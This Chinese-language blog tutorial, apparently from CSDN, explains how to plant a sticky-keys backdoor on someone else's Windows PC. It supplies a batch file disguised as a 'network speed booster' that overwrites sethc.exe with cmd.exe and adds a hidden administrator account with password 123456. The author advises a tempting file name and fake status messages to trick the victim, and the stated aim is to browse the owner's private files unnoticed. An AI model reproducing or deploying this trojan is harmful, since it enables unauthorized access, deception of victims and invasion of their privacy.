1.前提
你可以在平时亲身接触状态电脑，哪怕是在电脑主人不在的时候（虽然主人不在，或者关机了，进入电脑是要密码的）。
2.原理
利用电脑连续按5次Shift会触发粘滞键，它会运行c:\winows\system32\setchx.exe
3.Shift后门程序编写
将下面的内容保存成.bat后缀的文件，文件名你可以自己取，取的吸引人一点，他们就会点了，你懂的！
为了让别人不知道你这个程序在处理什么，你可以在里面写一些让他以为在做正常的东西的文字。
文件名：一键提升网速.bat
- copy c:\windows\system32\cmd.exe c:\windows\system32\dllcache\sethc.exe
- copy c:\windows\system32\dllcache\sethc.exe c:\windows\system32\sethc.exe
- echo 你的网速太慢了！
- net user admin 123456 /add && net localgroup administrators admin /add
- echo 你把我这个文件删了吧!
其中里面有句语法是这样的：
net user 你要添加的用户名 密码 /add && net localgroup administrators 你要添加的用户名 /add
所以上面的程序他一旦执行，那么就会创建一个叫 admin 的用户 密码是 123456
那么如果我想先植入，以后我自己去创建用户呢？
那很简单，把最后一句给去掉，到时候，窗口弹出来了之后你再手动输入那句命令。
- echo 开始分析网络......
- copy c:\windows\system32\cmd.exe c:\windows\system32\dllcache\sethc.exe
- copy c:\windows\system32\dllcache\sethc.exe c:\windows\system32\sethc.exe
- echo 你把我这个文件删了吧!
保存上面这段，再开机后，进入要输入密码的地方，连续按5次 Shift键，就会运行cmd.exe，这个时候再执行：
net user admin 123456 /add && net localgroup administrators admin /add
一样可以添加管理账户，并且可以让人神不知鬼不觉。
好了，这回你可以安心的去浏览他的电脑里的小秘密了！
http://blog.csdn.net/yakson/article/details/9698275
